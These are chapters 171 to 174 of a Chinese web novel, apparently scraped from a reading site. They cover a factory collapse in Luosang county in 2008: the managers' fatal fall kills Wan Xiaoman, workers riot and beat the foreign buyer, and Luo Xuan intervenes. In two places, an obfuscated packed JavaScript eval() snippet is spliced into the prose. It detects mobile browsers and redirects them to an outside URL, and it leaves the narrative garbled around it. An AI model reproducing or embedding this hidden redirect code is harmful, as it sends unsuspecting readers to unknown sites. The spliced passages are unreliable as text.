“中央决定,启用空降兵部队。” “中国空降兵临危受命,在地面无指挥引导、无标识、无气象资料的情况下,拟好遗嘱后,义无反顾地从高空跃下,跃向生死未知的命运……” “惊天一跃,为了人民……” …… 2008年10月29日凌晨4点。 罗桑厂外,万小满穿着黑色衣服,沿着罗桑厂外墙,朝着罗桑厂的侧门走去,试图悄悄潜入罗桑厂。 罗桑厂的大门已经锁了,但万小满的怀里,揣着一把早就配好的钥匙。 万小满知道,行政楼的资料室里,有她所需要的材料。她和罗珏同住的时候,早就偷看了各种材料,沿着数字的蛛丝马迹,沿着资金流入流出,怀疑王经理在外面悄悄控制人建了个厂,用转罗桑厂现金流的方式,空手套白狼,赚自己的钱。 她明天回去见赵书记。作为状元,她有亲自和赵书记对话的机会。 万小满很笃定,只需要提交确切材料,就必然可以将这群罗桑厂的管理层扳倒。 她加快了脚步。 扳倒这些人,她的所有仇恨,她妈妈所有怨愤与不甘,就可以洗干净了。北京的房子已经租好,虽然小,但是干净。北京的铺面也收拾齐整。 月亮那么大,那么亮。 万小满下意识抬头看去,雪亮的月亮,两个黑色的、摇摇欲坠的影子。 她又看向前方。 罗桑厂的侧门就在眼前。 风声挟裹着呼啸声落下来。 嘭。 …… 新生活在向她招手。 她要孝顺父母,大学毕业,享受爱情,组建家庭,生育幼儿。 幼儿会有白团团的脸和肉墩墩的四肢,很壮实,很爱哭。 她或许会读研,或许会读博,或许会成为女科学家,或许本科毕业就杀入职场成为飒爽白领,或许自立门户,做一个女老板。 但无论她是什么身份,遭遇过什么,无论环境时好时坏,无论是经济的涨潮还是时代的落潮,无论身处于宏大叙事下哪一页微不足道的注脚。 哪怕灾祸、饥荒、战争。 她都一定会活得健壮又努力,去交一群志同道合的朋友,过美好的一生。 万小满躺在血泊里。 王经理和郑厂长先后砸在她身上,此刻,她知道自己所有的骨头都碎了。脖子以下的地方,全成了肉泥。 幸运的是,一切太过突然,她没有来得及感受到一丝一毫的疼痛。 命运待我,不是不好的。在生命的最后1秒钟,万小满想。 她涣散的双眼对着雪亮的月亮,渐渐陷落于永恒的、黑暗的甜梦中。 …… “跳!跳!跳!” “十五名英勇的战士,义无反顾地扑向海拔5000米的高空。” “落地后,他们很快被群众包围。群众们哭泣着,喊着:解放军来救我们了!” “十五名人民子弟兵,是震中人民的希望,是最可爱的人。” “请永远记住英雄的名字:李振波,王君伟,于亚宾,雷志胜,殷远,任涛,郭龙帅,李亚军,赵海东,向海波,李玉山,刘文辉,赵四方,王磊,刘志保。” …… 手机铃一阵又一阵急促地响起来。 “姐,姐。”张东尧的面孔惊恐到变形,“你的意思是,我姐姐……” 为了挣表现,为了做出好论文,为了想办法打败王博士拿到留校名额,张东尧此刻正跟着县里的工作组加班到凌晨。 可他的姐姐…… 张东尧痛苦地冲到安全楼梯处,把安全门关严,才敢咬住拳头,压抑地哀嚎一声,一屁股坐在一堆烟头灰烬上。 张东尧对着电话,语无伦次,“救救我姐,我有钱,我能赚很多钱,给我点时间,多少钱都可以……” 医生的声音复杂:“别再让你姐姐受罪了。她现在这样子,活着也是死了。” “让她活!我不是为了她,我是——我是为了我自己啊!我绝不会为她着想!让她活!”张东尧忽而狠狠说,“我姐姐活不下去,我就恨你一辈子!” 医生很平静地说:“你姐姐的瞳孔已经散了,住一天icu就是8000块,只是维持生命体征而已。你见过ICU里的病人吗?” “我不管……” 医生打断了他,继续平静地说:“她身上没有衣服穿,全裸,盖着一张单子,四肢露在外面,冻得冰凉。她嘴里塞着管子,鼻子里也塞着管子。你用仪器吊着她的生命体征,大致还能撑一个月,但她早就没有任何意识了。管子插到最后,她的鼻子和口角都会烂掉,会流血,会结痂,擦都擦不干净。东娇是体面了一辈子的女生,你又何苦……” “让她活着。”张东尧机械地重复,“也许她还能醒。变成植物人也好。只要她还活着。” “她已经死了。变不成植物人……” 医生还想说什么,张东尧哭着说:“姐夫。让她活着吧。” 医生沉默了很久,语气隐忍地说:“东尧,我的伤心并不比你少。可是,东娇不会愿意这么活着。” “可我不愿意。”张东尧用力地脱口而出,“可我接受不了,就当给我点希望,就当我自私,让我姐再为了我,再救我一次……”张东尧住了口。 电话早就挂断了。 张东尧怔怔地坐在楼梯上,忽然跳起来。 他的裤子已经被烟头烫出几个滑稽的大洞。 张东尧忍不住笑了。笑着笑着,他惊现自己嘴里发出的都是嚎啕声。他抹了把脸。他以为自己必然满脸都是眼泪——但没有。他没有眼泪可流。他心里憋着一股巨大的绝望,涨得浑身都要爆炸开,无从排解,无计可施,无处可逃。世界在每个人面前都是不同的嘴脸,或许所谓的冥冥中注定,不过是命运的嘲弄。张东尧心想,他或许生生世世都要被挤压在这粘稠的现实中了,他痛苦得不得了。 人活着怎么他妈的这么苦哇?可总比死了强。 活着难,死又不用能死。生也不是,死也不是。 手机没完没了地振动起来,全是电话,工作组的同事在找他,县里各色人都在找他,但张东尧一个都不想接。 安全灯暗掉了。 张东尧坐在黑暗里,咬着手,被压得快要爆开,他无声地绝叫。 第171章 君入瓮&兜底 收音机小声叫着,床头栅栏边,平安香囊轻轻晃动。 黑夜中,万高大双手枕着头,双眼注视着天花板。 “万高大!你怎么偷偷熬夜?”护士查房,把收音机拽走,“睡觉了!” 万高大小声说:“今晚有特别节目,讲空降兵部队的。” 护士说:“明天起来再听。” 万高大转过头。他躺着,看不到窗外,只能看到窗下的白墙:“小时候想去当兵,选上了,爹娘觉得危险,没让我去。若是早知道,命运无论如何都要把我变成瘫子……我倒希望我在这群空降兵里,第一个跳,死了也值得。” “你都生出状元女儿了,还想怎么样。小满胜万全。”护士说,“我们又不是仙人,不可能样样都好,能有一样好,就已经值得庆幸。” 万高大欣慰地笑了。 他摸了把自己的断肢,低声说:“命运待我,不是不好的。” 嘭! 他转头:“什么声音。” “睡觉!”护士站起身,“休息好,养好身体,别给你家小满添乱。” 万高大想了想,郑重地点点头。 “不能再给小满添乱。” 他带着憧憬的微笑。 …… 2008年10月29日,清晨5点15分。 凌晨4点被郑厂长一个电话叫起来以后,王亮就再也没法入睡。 刚刚有点迷糊,不知是谁家的东西摔了,传来“嘭”的一声。 直接把王亮的睡意清了个干干净净。 睡意刚退,工作的事就如雾气般无孔不入地涌进脑海。 得,彻底睡不着。 王亮闭着眼睛想,这次和外商的谈判未免过于儿戏,很多该争取的地方都没有争取,给出的条款未免太过优厚,优厚到敷衍。很多条款,这里那里,可以进一步商榷…… 不行,打住。 工作中,尤其对于郑厂长而言,评判一个人的标准不在能力,而在于听话与否。 指鹿为马罢了。 王亮扪心自问,自己完全可以毫无负担地大声喊出:“不是鹿,就是马!” 但想着那些条款,王亮实在是睡不着,洗了把脸,按着因为缺觉而发晕的头,夹着皮包开车去厂里上班。 深秋,天灰蒙蒙的,雾气很重。遥远的地方有很多警察围在一起,似乎发生了什么重大事故。 “奇怪。” 王亮嘀咕了一句,但今天是合同签约的大日子,他没心思去看热闹。 罗桑县就这么点大,有什么消息,总能传到他耳朵里的。 他很顺畅地开车进罗桑厂。 …… 2008年10月29日,清晨7点50分。 约好的合同签署时间是上午9点,郑厂长还没露面。 王亮正准备给郑厂长打电话,本家侄女上气不接下气地推门进来:“叔,出事了,听说郑厂和王经理都死了。” 王亮整个人都呆了。 走廊里稀稀疏疏地围着几个人,小声议论着。见到王亮,立刻问:“听说今早死人了,咱们厂后面。听说是王经理和郑厂长。” “你们见到了?” “没见到,我警察局的亲戚说的,说得有鼻子有眼的。” 一片议论声中,王亮的脸色渐渐变了。 “没有的事。”他把人轰回去,“今早郑厂还跟我通话,说合同的事。” 他回到办公室,给郑厂长和王经理分别去了电话,终于面色惨白地放下话筒。 “死了。”他在椅子上转了一圈,“可罗桑厂没钱了,他们死了,我怎么办?” 抖着手喝了几口水,王亮稳下来。 罗桑厂这次彻底完了。他想。反正等下就要卖给外商了。 一不做二不休,那些设备可都是钢材,偷拉出去卖废品,值很多钱。 谁他妈能知道。 何必跟钱过不去。 …… “亮哥批的出车。”有人吆喝。 拉货的车盖着防雨布,一会就出去好几辆。 几个人看着货车,窃窃私语。 “听说了吗,郑厂死了……” “真的假的……” “瞎说什么……” …… 2008年10月29日,清晨8点30分。 锃亮的黑车无声地驶到罗桑厂门口。 司机开门,江明映下了车。 王亮亲自站在门口迎接,见到江明映,眉开眼笑地迎上来。 江明映直接开口:“你们郑厂呢?” 王亮笑着伸出手:“今天的合同签署,我来主持。” 江明映没有理会他伸出的手。 他环顾四周,眉头微蹙,抬脚走入罗桑厂。 咯吱—— 铁门在身后合拢。 …… 2008年10月29日,上午8点30分。 分管罗桑县警事的老戴给保温杯接满热水,走进办公室,放在赵书记的台面上。 赵书记刚到办公室,正在脱外套。 两人搭班子已经6年,老戴很自然地接过,顺手抚平,搭在衣架上:“赵书记,我得跟您汇报一下。”他尽力把声音放得沉稳。 赵书记“嗯”了声。 老戴深吸一口气,轻声说:“罗桑厂厂房外,出了事故。郑厂长和王经理,摔死了。砸死了万小满。” 赵书记消化了好一会,猛地站起身,旋即身子一晃,捂住头。 老戴伸手去扶,赵书记用力拨开他的手,怒道:“你在说什么鬼话?啊?!一桩桩,一件件,雪灾地震,美元贬值,工厂倒闭,产业兼并,如今这又是什么?!还嫌我不够忙吗?!”说着,用力抓起文件摔在桌面上,“之河服装集团要兼并罗桑厂的事情,吹了很久的风,今天下午就要上班子会讨论,这时候,这时候给我捅娄子……” 他晃了晃,跌坐在椅子上,手臂撑着桌子:“万小满、万小满……” 喃喃自语几句后,倏忽,他满头冷汗涔涔而落。 “这件事情不能发酵。”赵书记说,“尽快处理,把影响降到最低。还有,万小满的家属——你通知了没有?” “还没。”老戴面露难色,“万小满毕竟是我们请回来的,对于她的死,可能涉及到责任划分……这不,先来和您汇报。” “什么责任划分,我们罗桑县的孩子,没了!”赵书记用手背重重敲击自己的额头,“这时候,你们还有心思去想责任划分的事?!” “万小满家里的情况,不太好。恐怕……就算通知家属,家属担不起事,还是得我们政府给兜底。”老戴叹了口气,尽量平和地说,“小满和我女儿同班,也是我看着长大的。我的想法是,我这边先拿出个章程,再去和她的家属沟通。” 他三言两语,把万高大截肢的事讲给赵书记听。 顿了顿,老戴终于忍不住,带着点情绪说:“老万动不了,她妈更完蛋。爸妈都指望不上,让孩子做家里的顶梁柱——不像话!现在人没了,后事怎么办?这孩子,自己争气,爸妈不争气,也真是可怜。” 他眼圈有些红,立刻住了嘴,深呼吸后,神情再次平静而沉稳。 “那就兜底。”赵书记直接说,“她还是个孩子。她爸妈指望不上,我们罗桑县的孩子,我们罗桑县兜底。” “幸好,万高大是工伤,罗桑厂给他报销医药费。”老戴说。 赵书记正想说什么,又有人急促地敲门,探进半个身子:“赵书记,罗桑厂……” 第172章 占厂&放我出去 2008年10月29日,清晨8点35分。 几个供应商闻风赶来,聚集在罗桑厂门口,每个人脸上都写着茫然和惶恐。 “跳楼的是不是郑厂长和王经理?” “我听说,是因为罗桑厂没钱了。” “怎么办,罗桑厂还欠我60万回款,还能结算给我吗?” “欠我107万!天老爷啊!这笔钱还不回来,我拿什么给工人发工资?” “天呐……希望是假的……” “先别急,别急,大家伙过来,也是等厂里给个准信。” 聚集的供应商越来越多。 …… 2008年10月29日,清晨8点45分。 工人们逐渐汇聚到厂房。 “设备呢,设备怎么被拉走好几台?!” “这边都被搬空了!” “不是,这怎么回事?你们听说外面的谣言了吗?!” 已经有工人的眼泪下来了:“难道是真的……说是罗桑厂经营得不好,没钱了,郑厂长和王经理没办法,跳楼自杀了……” 有工人呜呜哭出声:“王经理是被厂子拖死的呀!” 有人想到了关键:“什么,罗桑厂没钱了,那我们的集资款哪里去了?” 话音刚落,众人纷纷面色惨白。 “都怪王经理……” “不怪王经理,王经理都被拖死了……” “都怪外商!”老人声嘶力竭。 众人回头,看见工人老王。 他面色怪异,面孔涨得一片潮红,双眼很亮,胸口一起一伏的,似乎在用力按捺着什么:“王经理死了?郑厂长死了?” 工人点头:“听说他们死了。” “死了。”工人老王踉踉跄跄地走到墙边,如喝多了一般,哈哈笑起来,“死了?死了!” “王叔,你知道什么?” “我知道——”工人老王咬牙切齿,“都怪外商,是外商,是江明映!是他逼死了王经理,就为了买下我们罗桑厂,把我们全部——赶走——” 老王流着泪,语速很快地说:“江明映要买了厂子,把我们全部赶走,王经理本来是要去找赵书记讨办法救我们的,一定是江明映,是他为了买厂子,害死了王经理!除了王经理,谁还能救我们罗桑厂?谁还能保住我们的饭碗?” ”什么叫江明映买了厂子,就把我们全赶走?” “我听说了!”年轻工人梗着脖子,“外商要把罗桑厂迁到之河去,被之河服装集团兼并!” “兼并?!” “就是用之河服装的技术班子,替代我们,把我们这些没文化的大老粗赶走!我们罗桑县的工人,都要丢饭碗!” “狗日的外商,狗日的江明映——” …… 接待室里,一夜未眠的江明映从疲惫的盹睡中猛然惊醒,看了眼时间。 2008年10月29日,清晨8点50分。 四下一片安静。 很遥远的地方,似乎是风,传来门的砰砰推动声。 江明映忽地感觉后脊背一阵发麻,不祥的预感沿着尾椎骨窜上头顶,他猛地从接待室里站起身。 不对。 9点钟签合同,这个时间,未免安静得过分了。 手机嗡嗡响,数十个未接来电,十几个消息。 “郑厂长、王经理死了,速回。” 速回! 江明映猛地站起身,推开门,大步走出去。他被阳光刺得眯起眼,乱七八糟的脚步声气势汹汹地传来,他睁开眼睛,和一群面容绝望又悲愤的工人面对面。 江明映什么都来不及说。 不知谁开的头,伴随着一声:“狗外商,你逼死人——” 江明映的鼻梁剧痛,鼻血哗哗留下来,额头也“嘭”的一声,剧痛如烟花般炸开,下一秒,他仰天摔在地下。 拳头如雨点般落在他的身上。 …… 罗璇用力推门,可门始终怎么都推不开。 资料室平日里确实没什么人来,但今天又不是休息日,怎么会一个路过的职工都没有? 远处传来叮里咣啷的声音。 有什么被砸碎了,有桌子被推出来然后推翻,有跺脚声与喝骂声。 怎么回事?! 罗璇感觉不对,打开窗户,试图喊人,她看下去。惊呆了。 行政楼门口的土坡上,有星星点点的血迹,人潮涌作一团,隐隐约约有人喊: “外商逼死人——” “我们的集资怎么办!” “这是要砸了我们全县的饭碗啊——” 全是人。如无序的罗桑河,惊涛拍岸,浪潮涌动。 一群工人正将碗大的锁头挂在罗桑厂的铁门上,牢牢锁住,又用手臂粗的链子哗啦哗啦缠绕了好几圈。 铁门外,原本用来拉货拉料的大卡车缓缓拐弯,并作几排,直接将路堵死。 罗璇倒吸三口凉气,后退几步,捂着嘴坐在椅子上—— 工人占了罗桑厂?! …… 罗桑厂,怎么了? 外商,外商不是江明映吗? 她又探头看下去,似乎看到一点西装的角,沾了尘土,地上那些星星点点的血迹洇得更刺目了。 卧槽,杀人啦!!! 罗璇直接骂出声,下意识缩回去,这可得把自己好好藏起来,这都什么事—— 不,这样不行。 她怎么能眼睁睁地看着认识的人在眼前打死人,或者被打死? 她这辈子良心都会不安! 江明映还活着吗?! 罗璇浑身焦躁得如有火在烧。这样不行,不行——她嘴里急躁地念叨着,环顾室内一周,可这资料室里什么都没有。她跳起来踹门,可门一动不动。 后退几步,椅子咣当倒地。 罗璇深呼吸,干脆地举起椅子,抡圆了手臂,猛地砸向窗户。 没有任何拖泥带水,窗户应声而碎,玻璃碎片宛如半空中爆破的一蓬雨,七彩霓虹,微光闪烁,旋即如烟花般炸开来,扑啦啦地落下。 罗璇被椅子扯得跌坐在地下,又狼狈万分地连滚带爬跳起来。 下面的人潮四散躲开,齐齐仰起脖子,罗璇立刻扑到窗边,露出半个身子。 她一眼就看见人潮中间躺倒的人,像破布口袋一样,软塌塌地昏迷着,浑身都是血。 江明映! 罗璇深吸一口气,大声喝止。 “你们冷静……” 风太大,刚刚太用力,头发被风一拍,就散了,扑啦啦地糊了罗璇满脸满嘴,直接把她的话噎了回去。 罗璇吃了满嘴头发,整张脸都皱起来。 “这是违法的!”她用手扒拉开满脸的头发,大声喊,“什么仇什么——” 强风拐了个弯,头发又糊了一脸,又把她的话噎了回去。 罗璇呸呸吐出嘴里的头发。 为什么别人出风头的时候又帅又利落,自己却又窝囊又狼狈还透着一股老实人味?! 罗璇挣扎着用两只手扒拉开脸上的头发,深吸一口气。 可恶,死脑子,说什么,快想啊! “杀人偿命——”她伸长了脖子,像一匹母狼一样,吼叫着。 “快看,是红星厂的罗璇!”突然,有工人指着她惊喜地高喊起来,“是雪灾救人的罗厂长!” “罗厂长又来救我们的!” “我们有救了!” “罗厂长,我什么都听你的!” “罗厂长,外商要逼死我们啊——” “为我们做主啊罗厂长——” “罗厂长是来主持大局的——” 下面的喊声一浪高过一浪,完全盖过了罗璇的声音。 “你们倒是先把我放出去啊!!!” 第173章 封账&救下江明映 “人会放出来的。”老豹坐在面包车上,“是郑厂长和王经理嫌你多话,找了外面的人,花了十万,想让你消失。但这十万块钱经过层层盘剥,到干活的人手里只有每人200,200块还要求什么?所以他们也懒得细看,反正你和你妹长得像,就把你妹抓走,人么也懒得处理,直接丢去王经理办公室了。” 罗珏又惊又气:“因为我,是因为我……”她忽然地变了脸色,呕吐起来,“因为我!” “谢谢。”祝峻塞了个红包过去,又为老豹点了支烟,“总之,人没事,我就放心了。” 老豹看了眼祝峻,拍了拍他的肩膀:“我记得罗文彬家的老二,是你女朋友?” “前女友。”祝峻平淡地说。 老豹挤眼睛:“英雄救美,有希望?” 祝峻果断摇头。 “我已经准备订婚了。”他平淡地说,“其他人,早就过去了。” 撕心裂肺的呕吐声传来。 两人停住话头,转头看向罗珏。 罗珏已经跪倒在地上,急促地喘息着,满脸不知是汗还是泪。 …… 资料室的门被人从外面打开。 “罗厂长。”工人梗着脖子,一板一眼地说,“我什么都听你的!” 罗璇定睛一看,是他! 雪灾里,那个毫无眼色、非得把母亲秘密告诉自己的死脑筋! 但也来不及理他,先救人! 她拔腿就往楼下跑,身后传来规律的脚步声。罗璇回头,看见那个死脑筋规规矩矩地跑在自己身后。 “你这是干嘛?”罗璇难以置信。 “我听你的。”死脑筋一板一眼地说。 外面的打砸喊叫声一浪高过一浪,罗璇突然想起来,工人占了罗桑厂。 前阵子,自己抢了红星厂,第一件事是什么? 她折回去,用力锁上资料室的门,帮罗桑厂封了资料室里的账簿合同和公文,免得后续处理中查无实据。 罗璇往门上交叉贴了两张白纸条,竖着签满自己的名字,权当做封条。 她清了清嗓子,对死脑筋说:“从现在开始,你守在这里,不允许任何人进。” 罗璇点了点白纸条:“这两张纸,不可以破。我自己的笔迹,我自己认识。” 死脑筋重重点头:“明白。” 他拖了把椅子,昂首挺胸地坐在门口:“我都听你的罗厂长。” 罗璇转身朝楼下跑去。跑到楼梯口,她回头看了眼,那年轻工人笔直地坐在门口,一动不动,双目炯炯有神。 好个死脑筋,为人处世一团糟,管重要资料一把好手。 真是萝卜白菜各有各的做法啊。 罗璇松了口气,加快了脚步。 …… 江明映已经昏死过去,浑身上下又灰又土,脸也变了形。 罗璇连滚带爬地扑到他身边,看他那副惨样子,不敢随意移动和触碰,只能一骨碌跪在地下,用一种很难受的姿势,弯腰将他护住。 “罗厂长,你起来,我们教训这个龟儿子——” “再打就**啦!”罗璇急得不行,“你们只想出气,不想出人命吧!” 立刻有人悲愤道:“狗外商把王经理逼**——” 罗璇急忙劝说:“对,他是混蛋,那你为了这么个混蛋,把自己送进监狱,你又算什么?你亏不亏?” 工人们根本不听,依旧乱纷纷地喊着:“王经理没了——” 罗璇吸了口气,大声吼:“王经理没儿子,只有你们烧的纸钱能寄到他那边,你们把自己送进监狱,清明的时候谁给王经理郑厂长送钱啊?谁去祭拜啊?” 儿子是罗桑县男人永恒的乡愁,这句话说出来,男工人都思索起来。 罗璇又说:“雪灾的时候,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298941|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不信我,可结果呢?我是不是一心为了你们?” 有工人还要再说,其他工人说:“听罗厂长的,我90岁的奶奶都说罗厂长是好人。” “不是,你们被这女人下药了?”一个半大小伙子嚷嚷,他的头立刻被人拍了一下。 “闭嘴吧,这是罗厂长,雪灾救人的,你给我放尊重点。” “不是,凭什么——疼!我错了!雪灾的时候我又不在!” 工人们渐渐安静下来。虽然看着罗璇的目光依旧带着怀疑,但渐渐退后了。 罗璇还是没敢动,维持着一个极其难受的姿势护在江明映身上。 她低头注视着江明映,咬牙切齿地想,自己雪灾的时候攒下来那点人情,用在这狗东西身上,一次性全耗尽了。 他最好别死,等他醒了以后,她势必要他给自己几桩大单,这笔交易才不算亏。 红星厂欠了2000万! 我天呢!2000万! 他最好别死!自己好歹也是救命恩人,是不是能找江明映借2000万的无息贷款? 罗璇绞尽脑汁地盘算着,试图从江明映身上捞到最大好处,耳边听见工人们重重叹了口气。 “散了吧。”有人绝望地挥挥手,“就算今天打死他,钱也回不来了。” “钱呢?钱都到哪里去了?” …… “奈何取之尽锱铢,用之如泥沙?” 罗桑县高中课堂上,学生们还在朗诵《阿房宫赋》,教师突然被叫了出去。片刻后,教师回到教室里,宣布:“今天的动员会延期。” “是万小满学姐不回来了吗?”有个女生失望地问,“她可是我的偶像……” 话音未落,她的袖子被同桌扯了扯。男生用眼神制止了她的提问。 “怎么了?”女生小声问。 “别问。”男生木着脸转开目光。 第174章 一场钱雨&奈何取之尽锱铢,用之如泥沙? 2008年10月29日,上午10点30分。 “老领导,现在的情况很棘手。”老戴满头都是汗地冲进办公室,“罗桑厂工人**,把厂子占了,堵了路,锁了大门!外商被关在厂子里,听供应商说,几百号工人喊着要报仇,把江明映给打了!” 赵**猛然站起身:“出人命了?” “不乐观。都这会了,人可能已经……”老戴面如死灰。 “完了。”赵**倒在椅子上。 两人相对沉默了一会。 赵**发问:“外商为什么会在罗桑厂?罗桑厂正在推进被之河服装集团兼并一事!而且,你说什么,工人**,占厂,还**?!这些工人,怎么会?” “老领导,据说是郑厂长生前瞒着您,承诺把厂子卖给外商。现在事态紧急呀,省里下来走访的人还没回去,报社的人还说要来采访罗桑厂注资的签约仪式——什么声音?” 老戴向窗外看去,县政府门外挤着很多人。 电话铃声响起,对面的人声音急促:“外面这些人都是罗桑厂的供应商,他们说,听说罗桑厂破产了,郑厂长和王经理引咎**,想过来讨个准话,罗桑厂欠付的货款怎么办?” “统计了没有,外面那些供应商,自报欠款多少?” “粗估1.2个亿。” “找出上次摸排县里各企业流动资金基本情况的台账,把数据报给我。” 放下电话,办公室里安静了很久很久。 几分钟后,电话又响了:“2008年,全国纺织服装类企业的生产升本都在持续上涨,也包括我们县。从台账上看,大大小小企业的流动资金缺口,账面累计3亿元。” 赵**和老戴对视一眼,都从彼此眼中看到沉重。 …… 离罗桑厂还有好长一段路,赵**的车就被迫停了下来。 老戴来不及管那些规矩,直接跳下车:“老领导,事情真闹大了!” 赵**也急忙下了车。 罗桑县的道路,统一经过规划,为了方便拉货拉料的车,宽度都是够的,也平整。以往,这些道路,来来往往运货的货车会经过,衣饰鲜明的女工会经过,罗珏和万小满拿了状元披花游街的时候也会经过。可如今,这条畅通无阻的道路,阻塞了。 路口堵着一整排拉货的卡车,严严实实。 老戴急得打电话给派出所的人:“你们看看,这像什么样子!几辆卡车,就挡住你们救人了?好歹先把外商救出来,乡里乡亲的,总不能眼睁睁看着大家一时冲动闹出人命吧!” 派出所的人为难地说:“我们没办法轻举妄动,容易引发**。” 老戴走了两步,突然浑身都僵住了。多年老搭档,他做了一件今生罕见的举动:用身体挡住赵**的视线。 “老领导。”他的声音发颤,“您做好心理准备。” 赵**用力拨开他:“我什么没见过……” 赵**愣住了。 …… 万高大平静地闭着眼睛。 秋高气爽。天空很蓝、很高,秋天的阳光晒在身上,暖洋洋的。 早些时候,一群工人冲进罗桑县医院,二话不说,抬了他就跑,把他放在罗桑厂大门口。 “罗桑厂完啦,罗桑厂没钱啦,王经理和郑厂长都**了,外商要买下厂子,砸了我们所有人的饭碗啊。”工人老泪纵横。 “老万,不是我们为难你,是你要替小满想想——罗桑厂完啦,如果政府也不管,以后你的医药费该怎么办啊。” “你至少得把医药费要出来,你家小满那么好的前途,你不能拖累她啊。” 万高大只问了一句话:“罗桑厂真付不起我的医药费了?” 老工人流着泪:“唉,是。” 万高大没再说什么。他这才发现,自己没了腿,根本就是个废人,几乎动弹不得,任由人抬着放在地下。四周没什么能倚靠的,他受的腰伤也还没养得全好,立不住,只能躺着,半截身子冰凉。 原来是这样啊。 万高大看着高而远的天空。 风拂在脸上,万高大想起第一次见到小满的时候,她浑身皱巴巴的活像一只红皮猴子,那么小一点点,那么软,又那么丑。这个孩子放到他怀里,他第一时间去捏捏孩子的手,捏捏孩子的脚,然后喜极而泣:“是个全乎人!” 就算是亲爹,万高大也必须承认,小满不是个漂亮孩子。她长得像他,皮肤又黑,小时候说话晚,看起来总比同龄孩子钝一些。 娇姐很急,万高大却说:“小满胜万全!小满若是聪明,能挣大钱,咱俩享福;小满若是笨,能留在身边,咱俩也享福。只要小满健健康康的,咱俩怎么都享福!小满是个好孩子!” 万高大看着遥远的天空,心想,他真没想过要小满出人头地还是怎么样。他这辈子过得挺好,挺圆满,想要什么都自己去争取,没什么不甘心,所以没什么愿望要寄托在小满身上。只要小满平平安安、健康幸福,他就已经体会到为人父的快乐了。 万高大轻轻哼起了歌。 那是一首工友总唱的小调,他喜欢唱歌,就学会了。 生命茫茫白水,人生散落其上,如夜行船。 微风吹拂,他闭上眼,轻轻唱着。 …… 赵**闭上眼,又睁开。 眼前一排一排躺在地下的,都是罗桑厂的人。 因公致残的,没了双腿,没了双臂,没了脚,没了手。 九十来岁的退休老工人,整个人已经脱水皱得像一只红皮猴子,比新生儿也大不了几圈,颤巍巍地躺在地下。 他们只是躺在地下,注视着天空。他们没有发出声音。 没人说话,也没人动。可四周年轻的、健全的人,也没有一个敢动。人们的沉默如同巨大的喧嚣,掩盖了周围所有的声音。 赵**抬脚,所有人都沉默地看过来。一双双黑色的眼睛,眼珠转过来。 一步,两步,三步。 赵**停住脚。 “你们——”赵**哽咽了。他忽然用力地抽了自己一巴掌,热泪滚滚而下,“你们究竟何苦啊?!” 他又抽了自己一巴掌:“我是替罗桑县打的!” 老人躺在地上,颤颤巍巍地说:“罗桑厂死啦。我们也活不下去啦。把我们也一起压死吧。” 赵**斩钉截铁地说:“罗桑厂死不了!就算苦点、累点,但罗桑厂能活!” 没有人说话。沉默依旧像一场风暴,一张张脸。一只只黑色的眼珠。 老戴终于找到高音喇叭:“请开门,请相信政府,和我们谈谈,共同寻找解决问题的办法——这样闹下去,毫无意义!” 广播了好几遍,依旧没有任何声音。 沉默。依旧是沉默。恐怖的沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298942|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。风越来越大,吹拂起人们的黑发。风猎猎作响,吹散了广播里的声音,更遥远的地方,罗桑河水咆哮着,咆哮着,猛烈地撞击在岸边,发出巨响。 赵**忽而感觉浑身发凉。沉默,这背后蕴含的,是巨大的悲哀和绝望。 广播徒劳地响着,终于断开了。 整个罗桑县都被笼罩在一片死寂中。 人越来越多,越来越多。没人说话,渐渐将整段路围得水泄不通。 风呼呼刮起来,瞬间吹散了云,天更蓝了,更高了。大太阳干巴巴地晒着,风在空中尖锐嘶鸣,愈来愈近,愈来愈猛烈,旋即。似乎有一抹温柔的颜色飞过来。 所有人都被那抹温柔的颜色吸引了目光。 是粉色。 一张粉色的百元大钞,飘飘荡荡地飞了过来。 “你们看——” “——是钱?” “——哪来的钱?” “——是我们的钱!” 窃窃私语响起来。伴随着窃窃私语的,是一张接着一张的纸钞。在灿烂阳光下,粉得几近透明,泛着五彩的光晕,美丽极了。 有一阵大风。 倏忽间,犹如一滴水跌入油锅,犹如火星掉入鞭炮堆,人群忽然爆发出激烈的呼号,赵**抬眼看去。 钱! 全是钱! 漫天都是钱! 大太阳下,飓风下,罗桑县忽然陷落进一阵恐怖的粉色暴雨。无数纸钞漫天飞舞,如成群结队的蝇子,如夏天密密麻麻的蚊群,从罗桑厂的连廊里,一簇簇如烟花般被飓风挟裹着扑出来,扑出来。 那么多钱!那么多钱! 所有人都呼号着,伸长了脖子。太阳熄灭了,天空暗淡了,天狗吞了月亮,因为钱! 钱! 所有人都伸出手臂,拼命地指向天空! “天老爷——”老人撕心裂肺地呼号着,“这是我的钱啊——你把我的钱还给我啊——” “天老爷——你莫要耍我啊——你莫要抢了我的钱——” “天老爷——这么多钱,你花得完吗——你甚至不需要——为什么还要抢我的钱——” “我们的钱啊——” 粉色的钱像一场暴风雨,从四面八方挤压着人群,人群终于骚动起来。哭着笑着,伸手去抓,那一双双手,或者捆着黑边,或者挂着老茧,或者遍布针眼,这些手用力在空中挥舞着,抓攫着,可钱如调皮的精灵般,始终在湛蓝的空中跳舞,高高在上,美丽又漠然。 